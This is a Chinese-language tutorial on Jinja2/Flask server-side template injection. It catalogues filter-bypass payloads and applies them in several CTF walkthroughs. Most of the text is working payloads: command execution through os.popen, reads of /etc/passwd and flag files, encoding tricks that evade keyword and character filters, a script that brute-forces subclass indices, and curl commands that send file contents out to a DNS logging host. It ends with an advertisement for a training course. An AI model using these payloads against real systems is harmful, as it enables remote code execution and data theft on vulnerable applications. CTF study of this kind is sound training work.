{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
绕过单双引号
request绕过
flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过。
request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其他方法的例子,可根据题目过滤的东西动态调整方法来进行绕过
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
chr绕过
如果使用GET请求时,+号记得url编码,要不会被当作空格处理。
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
绕过关键字
反转或+号
使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
利用"+"进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
join拼接
利用join()函数来绕过关键字过滤,和使用+号连接大差不差。
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
利用引号绕过
以用 或 的形式来绕过:fl""ag``fl''ag。
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16进制编码绕过
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
base64编码
对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
unicode编码
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
Hex编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
8进制编码
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。
利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
绕过init
可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
绕过config
过滤了config,直接用self.dict就能找到里面的config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
绕过中括号[ ]
利用 getitem绕过
先用列表演示说明getitem()函数的作用是输出序列属性中的某个索引处的元素。
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'{{"".__class__.__mro__[2]} 可以替换为:
{{"".__class__.__mro__.__getitem__(2)
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等价于
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[]
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号,可以使用getattribute进行绕过。
object.__getattribute__(self, name)是一个对象方法,当访问某个对象的属性时,会无条件的调用这个方法。
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
pop()绕过
{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}} // 指定序列属性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
但是应慎用pop()方法,因为在python中pop()会删除相应位置的值,在列表里就是默认输出最后一个元素并将其删除。
绕过大括号{{}}
①使用{%%} 装载一个循环控制语句来绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
②用print进行标记,得到回显
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}
绕过下划线__
利用request对象绕过
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等价于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
绕过" ' []
对于多个过滤的话,就在无过滤的基础上,将过滤的字符用上面各自对应的方法进行逐一替换后在拼接即可。
像这里的过滤了单双引号及中括号,那就用request方法代替''、',用pop方法替换中括号
payload
{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
绕过 " ' [] _
利用request.cookies.name,接着使用flask自带的attr
`' '|attr('__class__')`等价于`' '.__class__`
这是一个 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( )分割。如:attr()``attr()``|
foo|attr("bar") 等同于 foo["bar"]
对于多种符号同时过滤,考虑用|attr( )结合其他方法进行绕过有强大的功能。
lipsum是一个方法,其调用__globals__可以直接使用os执行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
绕过 " ' [] _ os
多过滤了os关键字,可以使用request.cookies.a绕过即可,在刚刚绕过 " ' [] _的基础上在最后的传参数将os传入即可达到绕过。payload
{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
绕过 " ' [] _ os {{ }}
在刚刚的基础上再多过滤大括号,使用print来标记使其有回显。payload
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
绕过 " ' arg [] _ os {{ }} request
使用~拼接pop组合出的各个字符,最后在拼接在一起达到绕过。payload
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).
等价于:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}
或者使用chr:
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~
等价于:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
使用下面的脚本来获得ascii码
<?php
//使用chr绕过ssti过滤引号
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
绕过 " ' [] _ os {{ }} 数字
数字可以使用全角数字替代。payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
将半角数字转换为全角的脚本如下:
# 绕过ban数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
while 1:
s = input("输入想要的数字")
for i in s:
t+=half2full(i)
print(t)
绕过 " ' arg [] _ os {{ }} 数字 print
使用全角数字和chr进行命令执行,但是结果要使用在线dns外带。
<?php
//使用chr绕过ssti过滤引号
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
将普通数字变成全角的脚本如下:
#正则匹配出字符串中的数字,然后返回全角数字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~c
"""
result=""
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
for i in re.findall('\d{2,3}',str):
result+="chr("+half2full(i)+")~"
print(i)
print(result[:-1])
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(
)%}{%if x.eval(cmd)%}aaa{%endif%}
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")
说了这么多的绕过形式,接着结合题目总结下常见的利用思路。
利用思路
无过滤的情况
①随便找一个内置类对象用class拿到它所对应的类②用bases拿到基类(<class 'object'>)③用subclasses()拿到子类列表④在子类列表中直接寻找可以利用的类getshell
综上,基本思路为:
对象→类→基本类→子类→(init方法→globals属性→builtins属性)→读取文件的类
其中,()内的步骤有些时候不需要用到,所以加个括号表示可去。例如无过滤的情况下file类读取文件时:
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
接着用代码演示图过一遍思路:
先找到一个类型所属的对象,在找到这个对象所继承的基类,接着找到子类。
假设我们需要用到的就是OS模块来命令执行,找到OS类了并将这个类初始化成方法,相当于我们调用了OS模块,然后通过globals保存对全局变量的引用,最后使用os模板进行命令执行读取文件。
到最后还要使用read()方法读取,是因为前面返回的结果为地址,如图所示:
所以还需要用read()读取一下。
如有过滤的话,其实追究其根本,还是要按照上面的那些步骤进行利用,只不过题目过滤了什么就用对应的方法绕过即可。
实战
[CSCCTF 2019 Qual]FlaskLight
这是一道没有任何过滤的题目,难度较小。首先是一成不变的步骤,尝试输入{{ 4*5 }}看看有没有回显20,发现存在SSTI注入:
接着利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有类,通过ctrl+f搜索也能找到利用类,但是不知道下标具体是多少无法加以利用。
这里附上网上的脚本寻找利用类及下标:
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
得到利用类的下标为258:
接着就可以开始构造拿flag了。
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目录)
成功拿到flag:
再来看一道过滤了关键字的题目,使用上面提到的方法进行构造且分析思路。
#
[GYCTF2020]FlaskApp
这道题过滤了os、flag、chr、popen、eval、request等常用关键字,需要进行绕过。
首先打开题目发现是一个用https://so.csdn.net/so/search?q=flask&spm=1001.2101.3001.7020写的一个base64加解密应用。有一个加密页面和解密页面,思路应该是在加密页面输入payload进行加密,加密结果在解密页面进行解密,输出解密后的payload被渲染到页面输出后执行了payload,使其报错发现有个源文件app.py及加解密原理。有个模板渲染,然而SSTI注入的原因正是由于render_template_string的不正确的使用以及没有对用户输入的数据进行有效的过滤导致的。
获取源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
利用上面提到的使用+拼接字符串绕过os、import等被过滤关键字以便找目录与执行命令。构造如下:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
拿到文件,接着读取,注意flag要使用拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
成功拿到flag:
再来看一道过滤字符的题目,以便测试利用上述绕过各种字符的方法。
#
[Dest0g3 520迎新赛]EasySSTI
根据题目名称提示,这题考察SSTI,进入题目是一个登录框,点击登录可以回显用户名,发现在username处有jinja2模板引擎的SSTI漏洞:
经过Fuzz,发现过滤了_.'"[]等字符,还有各种class、request、eval等关键字以及空格。
最终还是要达到实现{{lipsum.__globals__['os'].popen('ls').read()}}进行命令执行的目的,其他字符可以使用过滤器和join拼接字符达到绕过,空格的话使用%0a换行符绕过。
{%set%0apo=dict(po=a,p=a)|join()%} #pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%} #_
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join()%} #popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%} #read
dict(o=a,s=a)|join() #获取 os
(config|string|list)|attr(po)(279) #获取 /
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
等价于:
{{lipsum.__globals__['os'].popen('ls').read()}}
先使用ls查看有哪些文件,构造如下
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
使用()|select|string|list获取flag的具体位置:
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
接着将命令修改为cat /flag
最终构造如下:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|att
成功拿到flag:
总结
对于ssti注入,其实掌握基本的常用的方法,按照常规的思路进行构造,有哪些被过滤的就用相应的方法进行绕过,按照模板走大多数题目都能解出来,但是最重要的还是自己动手尝试构造,体会其中的原理,因为还要考虑题目解释器版本不同、类方法所在索引不同,构造出来的语句也不一样。对于python里的jinja2 ssti注入就分析到这里,后续还会总结java、php中常用模板的ssti注入,下回见。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

